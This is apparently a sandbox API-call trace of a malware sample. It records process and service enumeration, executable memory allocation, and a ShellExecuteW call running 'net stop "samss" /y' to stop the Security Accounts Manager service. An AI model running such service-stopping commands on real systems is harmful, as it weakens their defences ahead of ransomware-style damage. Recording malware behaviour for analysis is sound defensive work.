	[0173.665] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.668] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0173.671] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0173.673] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0173.676] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0173.679] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.682] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.685] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.688] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.690] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0173.692] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0173.695] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0173.697] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.700] Process32NextW (in: hSnapshot=0x17c, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0173.769] CloseHandle (hObject=0x17c) returned 1
	[0173.793] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xdb450
	[0173.798] EnumServicesStatusW (in: hSCManager=0xdb450, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 0
	[0173.802] VirtualAlloc (lpAddress=0x0, dwSize=0x1710, flAllocationType=0x1000, flProtect=0x40) returned 0x8640000
	[0173.804] EnumServicesStatusW (in: hSCManager=0xdb450, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8640000, cbBufSize=0x1710, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x8640000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 1
	[0173.992] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0176.505] Sleep (dwMilliseconds=0x96) 
	[0177.108] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.110] Sleep (dwMilliseconds=0xc350) 
	[0187.644] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x9c8
	[0223.797] Process32FirstW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0223.801] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0223.803] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0223.806] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0223.809] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0223.811] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0223.814] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0223.816] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0223.819] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0223.821] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0224.216] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.218] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.221] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.224] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.226] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.230] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.232] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.235] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0224.237] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0224.240] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0224.243] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0224.246] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.248] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0224.251] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.648] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0224.651] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.653] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0224.656] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0224.658] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0224.660] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0224.663] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0224.666] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0224.668] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0224.671] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0224.673] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0224.675] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0224.678] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0224.680] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0224.828] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0224.830] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0224.833] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0224.841] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0224.844] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0224.847] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0224.850] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0224.852] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0224.855] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0224.858] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0224.860] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0224.862] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0224.865] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0224.867] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0224.992] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0224.996] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0224.999] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0225.002] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0225.005] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0225.008] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0225.012] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0225.015] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0225.019] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0225.022] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0225.189] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
